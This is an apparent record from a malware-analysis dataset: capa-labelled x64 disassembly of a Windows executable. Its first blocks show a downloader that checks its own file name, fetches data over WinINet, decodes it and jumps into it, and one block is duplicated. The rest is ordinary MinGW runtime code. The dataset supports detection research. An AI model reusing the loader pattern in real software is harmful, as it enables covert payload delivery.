joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14006f4e8
Capabilities:
Terminate process

Disassembly:
push rdi
sub rsp, 0x40
mov rcx, qword [str.KERNEL32.dll]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, dword [0x1400b31a0]
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, 0x104
mov eax, 0x104
xor ecx, ecx
mov rdx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor ebx, ebx
mov rdx, rdi
mov ecx, ebx
mov eax, ebx
nop
movzx r8d, word [rdx]
cmp r8w, 0x5c
jne 0x14006f54a
mov eax, ecx
inc ecx
add rdx, 2
jmp 0x14006f535
test r8w, r8w
je 0x14006f558
inc ecx
add rdx, 2
jmp 0x14006f535
mov r10, qword [str._b__n_]
inc eax
movsxd rcx, eax
lea r9, [rdi + rcx*2]
cmp dword [r10], ebx
je 0x14006f5cd
movzx edx, word [r9]
mov ecx, ebx
test dx, dx
je 0x14006f581
inc ecx
cmp word [r9 + rcx*2], bx
jne 0x14006f578
cmp cl, byte [r10]
je 0x14006f595
cmp cl, byte [r10 + 1]
je 0x14006f595
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, ebx
mov r8d, ebx
cmp word [r9], cx
je 0x14006f5b8
nop dword [rax + rax]
movzx eax, dx
lea ecx, [rcx + 1]
movzx edx, word [r9 + rcx*2]
add r8d, eax
test dx, dx
jne 0x14006f5a5
cmp r8d, dword [r10 + 4]
je 0x14006f5cd
cmp r8d, dword [r10 + 8]
je 0x14006f5cd
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov edi, dword [0x1400b31a0]
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], r14
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [str.8_n_]
xor r8d, r8d
xor edx, edx
mov r14, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdx, qword [str.InternetOpenA]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
mov rcx, rdi
Function at 0x14006f518
Capabilities:
Terminate process

Disassembly:
push rdi
sub rsp, 0x40
mov rcx, qword [str.KERNEL32.dll]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, dword [0x1400b31a0]
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, 0x104
mov eax, 0x104
xor ecx, ecx
mov rdx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor ebx, ebx
mov rdx, rdi
mov ecx, ebx
mov eax, ebx
nop
movzx r8d, word [rdx]
cmp r8w, 0x5c
jne 0x14006f54a
mov eax, ecx
inc ecx
add rdx, 2
jmp 0x14006f535
test r8w, r8w
je 0x14006f558
inc ecx
add rdx, 2
jmp 0x14006f535
mov r10, qword [str._b__n_]
inc eax
movsxd rcx, eax
lea r9, [rdi + rcx*2]
cmp dword [r10], ebx
je 0x14006f5cd
movzx edx, word [r9]
mov ecx, ebx
test dx, dx
je 0x14006f581
inc ecx
cmp word [r9 + rcx*2], bx
jne 0x14006f578
cmp cl, byte [r10]
je 0x14006f595
cmp cl, byte [r10 + 1]
je 0x14006f595
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, ebx
mov r8d, ebx
cmp word [r9], cx
je 0x14006f5b8
nop dword [rax + rax]
movzx eax, dx
lea ecx, [rcx + 1]
movzx edx, word [r9 + rcx*2]
add r8d, eax
test dx, dx
jne 0x14006f5a5
cmp r8d, dword [r10 + 4]
je 0x14006f5cd
cmp r8d, dword [r10 + 8]
je 0x14006f5cd
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov edi, dword [0x1400b31a0]
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], r14
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [str.8_n_]
xor r8d, r8d
xor edx, edx
mov r14, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdx, qword [str.InternetOpenA]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
mov rcx, rdi

Function at 0x14006f624
Capabilities:
Terminate process

Disassembly:
mov rdx, qword [str.InternetOpenUrlA]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
mov rcx, rdi
mov rdx, qword [str.InternetReadFile]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
mov dword [rsp + 0x60], ebx
mov qword [rsp + 0x68], rax
xor r8d, r8d
mov rax, qword [rsp + 0x70]
mov rcx, qword [str.NETDL1.0]
lea edx, [r9 + 1]
mov dword [rsp + 0x20], ebx
call rax
test rax, rax
je 0x14006f7ae
mov r10, qword [rsp + 0x78]
xor r9d, r9d
mov ecx, dword [0x1400b31c4]
xor r8d, r8d
mov rdx, qword [str.https:__dblp.org_xml_release_dblp_2023_04_02.xml.gz.md5]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ecx
mov rcx, rax
call r10
mov rdi, rax
test rax, rax
je 0x14006f7ae
mov r10, qword [rsp + 0x68]
lea r9, [rsp + 0x60]
mov r8d, dword [0x1400b31a0]
mov rdx, rsi
mov rcx, rax
call r10
test eax, eax
je 0x14006f7ae
Function at 0x14006f6e8
Capabilities:
Terminate process

Disassembly:
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x14006f6f1
add rsi, rax
lea r9, [rsp + 0x60]
mov rax, qword [rsp + 0x68]
mov rdx, rsi
mov r8d, dword [0x1400b31a0]
mov rcx, rdi
call rax
test eax, eax
jne 0x14006f6c9
cmp rsi, r14
je 0x14006f7ae
mov edx, dword [r14]
nop dword [rax + rax]
mov rax, qword [0x1400b3158]
mov eax, dword [rax + rbx]
add eax, edx
mov dword [rbx + rsi], eax
add rbx, 4
cmp rbx, 0x14
jl 0x14006f705
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14006f7ae
mov edx, dword [0x1400b31a0]
xor ecx, ecx
mov r9d, dword [0x1400b31a8]
mov r8d, 0x1000
call rax
mov r9, qword [0x1400b3128]
mov r10, rax
mov rcx, qword [0x1400b3198]
mov r8d, 0x17fe
mov r9d, r9d
add r9, rcx
lea rdx, [rax + 8]
mov r11d, dword [r9 + 4]
sub r9, rax
nop dword [rax]
mov ecx, dword [r9 + rdx]
lea rdx, [rdx + 4]
add ecx, r11d
mov dword [rdx - 4], ecx
sub r8, 1
jne 0x14006f775
mov eax, dword [0x1400b3184]
mov ecx, dword [r10 + 0xc]
mov dword [r10 + 8], eax
mov edx, dword [0x1400b3170]
add rdx, rcx
mov ecx, dword [0x1400b3170]
add rcx, r10
add rdx, r10
call rdx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400c1590]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400c15a0]
mov dword [rax], 1
mov rax, qword [0x1400c15b0]
mov dword [rax], 1
mov rax, qword [0x1400c1530]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400c1580]
mov dword [0x1400ea020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1400c1670]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400c1650]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400c0980]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x14000ab00
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x14000ab70
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1400ea114]
mov r12, rcx
test ebx, ebx
jle 0x14000aca0
mov rax, qword [0x1400ea118]
xor r9d, r9d
add rax, 0x18
nop dword [rax + rax]
mov r8, qword [rax]
cmp r8, r12
ja 0x14000abbb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp r12, r8
jb 0x14000ac45
add r9d, 1
add rax, 0x28
cmp r9d, ebx
jne 0x14000aba0
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x14000acc2
mov rax, qword [0x1400ea118]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rsi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400ea118]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000aca7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000ac3e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000ac50
add dword [0x1400ea114], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1400ea118]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000ac3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x14000abc8
mov rax, qword [0x1400ea118]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000b240
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r13, [0x1400ea180]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400ea160]
test rbx, rbx
je 0x14000b29c
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000b293
test r12, r12
je 0x14000b293
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000b278
mov rcx, r13
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop r12
pop r13
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x14000b4d0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x14000b4e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x14000b4f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x14000b500
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x14000b545
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x14000b53c
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x14000b547
add rax, 0x28
cmp rax, r9
jne 0x14000b528
xor eax, eax
ret

Function at 0x14000b550
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x14000b5e0
mov rdx, qword [0x1400c1530]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x14000b5ce
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000b5ce
cmp word [rax + 0x18], 0x20b
jne 0x14000b5ce
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x14000b5e0
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x14000b5b9
add r12, 0x28
cmp r12, rsi
je 0x14000b5e0
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x14000b5b0
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x14000b5f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400c1530]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000b610
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000b618
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000b610
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x14000b665
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000b65c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000b610
add rax, 0x28
cmp rax, r9
jne 0x14000b648
xor eax, eax
ret

Function at 0x14000b670
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c1530]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14000b690
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000b698
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000b690
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x14000b6b0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400c1530]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x14000b6d0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x14000b6d8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x14000b6d0
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x14000b718
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x14000b70f
test rcx, rcx
je 0x14000b6d0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x14000b700
xor eax, eax
ret
Function at 0x14000b720
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c1530]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14000b740
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x14000b748
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x14000b760
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400c1530]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000b780
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000b788
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000b780
sub rcx, rdx
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x14000b780
lea eax, [r8 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop dword [rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x14000b7cc
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x14000b7e0
add rdx, 0x28
cmp rdx, r9
jne 0x14000b7b8
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x14000b7f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400c1530]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x14000b812
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x14000b820
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000b812
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x14000b812
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x14000b812
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x14000b86d
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x14000b880
add rdx, 0x28
cmp r10, rdx
jne 0x14000b858
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x14000b88f
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x14000b89f
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000b876
test ecx, ecx
jg 0x14000b888
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret

Function at 0x1400148c0
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push r12
push rbx
sub rsp, 0x28
mov r12, rcx
lea rcx, str.msvcrt.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.rand_s
mov rcx, rax
call rbx
test rax, rax
je 0x140014908
mov rcx, r12
mov qword [dbg.init_rand_s], rax
add rsp, 0x28
pop rbx
pop r12
jmp rax
lea rcx, str.advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.SystemFunction036
mov rcx, rax
call rbx
mov qword [0x1400ead00], rax
lea rax, [dbg.mingw_rand_s]
jmp 0x1400148ef

Function at 0x140017040
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x1400b8188], eax
cmp eax, 0xffffffff
je sym.pthread_tls_init.cold
add rsp, 0x28
ret
Function at 0x140017060
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x98
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rsp + 0x20], rax
movabs rax, 0x6b5f6e6970732070
mov qword [rsp + 0x28], rdx
movabs rdx, 0x20726f6620737965
mov qword [rsp + 0x30], rax
movabs rax, 0x20646165726874
mov qword [rsp + 0x38], rdx
xor edx, edx
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov word [rsp + 0x88], ax
mov byte [rsp + 0x8a], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x140017172
mov eax, 0x28
lea rcx, [rsp + 0x20]
jmp 0x14001714a
add rax, 1
cmp rax, 0x6b
je 0x140017167
cmp byte [rcx + rax], 0
movsxd rdx, eax
jne 0x140017140
cmp edx, 0x6a
je 0x140017167
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rdx + 0x20], 0xa
mov byte [rsp + rax + 0x20], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sym.abort
mov eax, 0x28
mov edx, 0x27
lea rcx, [rsp + 0x20]
jmp 0x14001715b

Function at 0x140017510
Capabilities:
Allocate thread local storage

Disassembly:
push r13
push r12
push rsi
push rbx
sub rsp, 0x28
lea rsi, [0x1400eada0]
mov rcx, rsi
call dbg.enterOnceObject
lea r13, [rax + 8]
mov r12, rax
mov rcx, r13
call dbg.pthread_mutex_lock
mov ebx, dword [0x1400eada0]
test ebx, ebx
jne 0x140017580
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x1400b8188], eax
cmp eax, 0xffffffff
je sym._pthread_once_raw.part.0.constprop.0.isra.0.cold
mov dword [0x1400eada0], 1
mov rcx, r13
call dbg.pthread_mutex_unlock
test r12, r12
je 0x1400175b2
mov rcx, r12
add rsp, 0x28
pop rbx
pop rsi
pop r12
pop r13
jmp sym.leaveOnceObject.part.0
cmp ebx, 1
je 0x140017561
mov ecx, 2
call qword [dbg.__acrt_iob_func]
mov r9d, ebx
mov r8, rsi
lea rdx, str._once__p_is__d_n
mov rcx, rax
call sym.fprintf
mov rcx, r13
call dbg.pthread_mutex_unlock
test r12, r12
jne 0x14001756e
add rsp, 0x28
pop rbx
pop rsi
pop r12
pop r13
ret
Function at 0x140017700
Capabilities:
Set thread local storage value

Disassembly:
push rbp
mov rbp, rsp
push r12
push rsi
push rbx
sub rsp, 0x28
mov qword [rbp + 0x10], rcx
call dbg._fpreset
lea rcx, [0x1400b8178]
call dbg.pthread_mutex_lock
mov rax, qword [rbp + 0x10]
lea r12, [rax + 0x38]
mov rcx, r12
call dbg.pthread_mutex_lock
cmp dword [0x1400eada0], 1
je 0x14001773f
call sym._pthread_once_raw.part.0.constprop.0.isra.0
mov rdx, qword [rbp + 0x10]
mov ecx, dword [0x1400b8188]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rbx, qword [rbp + 0x10]
mov rcx, r12
mov dword [rbx + 0x70], eax
call dbg.pthread_mutex_unlock
mov rax, qword [rbp + 0x10]
mov rdx, rbp
lea rcx, [rax + 0xd0]
call sym._setjmp
test eax, eax
je 0x140017810
lea rcx, [0x1400b8178]
call dbg.pthread_mutex_lock
mov rax, qword [rbp + 0x10]
lea r12, [rax + 0x38]
mov rcx, r12
call dbg.pthread_mutex_lock
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax + 0x30]
mov rbx, qword [rax + 8]
test rcx, rcx
je 0x1400177b2
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x10]
cmp qword [rax + 0x28], 0
mov qword [rax + 0x30], 0
je 0x14001786e
mov rcx, r12
call dbg.pthread_mutex_unlock
mov rcx, r12
call dbg.pthread_mutex_destroy
mov rax, qword [rbp + 0x10]
mov qword [rax + 0x38], 0xffffffffffffffff
mov dword [rax + 0xbc], 1
mov r12, qword [sym.imp.KERNEL32.dll_Sleep]
lea rsi, [0x1400b8178]
mov rcx, rsi
call dbg.pthread_mutex_unlock
test eax, eax
jne 0x140017866
xor ecx, ecx
call r12
jmp 0x1400177fd
lea rcx, [0x1400b8178]
call dbg.pthread_mutex_unlock
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 0x10]
test rax, rax
je 0x1400178a4
mov rsi, qword [rbp + 0x10]
mov rcx, qword [rsi + 8]
call rax
mov r12, rax
nop
nop
lea rcx, [0x1400b8178]
call dbg.pthread_mutex_lock
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax + 0x1d8]
mov qword [rax + 8], r12
test rcx, rcx
je 0x14001778b
call sym._pthread_cleanup_dest.part.0
jmp 0x14001778b
mov ecx, ebx
call qword [sym.imp.msvcrt.dll__endthreadex]
mov rax, qword [rbp + 0x10]
mov rcx, r12
mov dword [rax], 0xdeadbeef
call dbg.pthread_mutex_unlock
mov rcx, r12
call dbg.pthread_mutex_destroy
mov rcx, qword [rbp + 0x10]
call sym.push_pthread_mem
mov ecx, dword [0x1400b8188]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
jmp 0x1400177ef
mov r12d, pe_nt_image_headers64
jmp 0x140017836
Function at 0x1400178b0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x48
cmp dword [0x1400eada0], 1
je 0x1400178c7
call sym._pthread_once_raw.part.0.constprop.0.isra.0
mov ecx, dword [0x1400b8188]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r12, rax
test rax, rax
je 0x1400178f0
mov rax, r12
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop r12
ret
call sym.pop_pthread_mem
cmp qword [sym.__dyn_tls_pthread], 0
mov rbx, rax
je 0x1400178db
test rax, rax
je 0x1400178db
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rbx + 0x70], eax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call dbg.pthread_spin_destroy
cmp eax, 1
je 0x1400179fa
mov rdi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x68], 0xffffffffffffffff
mov dword [rbx + 0xb8], 0
mov qword [rbx + 0x28], 0
call rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r12, rax
call rdi
mov dword [rsp + 0x30], 2
mov r8, rsi
mov rdx, r12
mov dword [rsp + 0x28], 0
mov rcx, rax
lea r9, [rbx + 0x28]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je sym.__pthread_self_lite.cold
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov ecx, dword [0x1400b8188]
mov rdx, rbx
mov dword [rbx + 0xbc], 0
mov dword [rbx + 0xc0], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je sym.__pthread_self_lite.cold
mov r12, rbx
mov rax, r12
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop r12
ret
call sym.replace_spin_keys.part.0
nop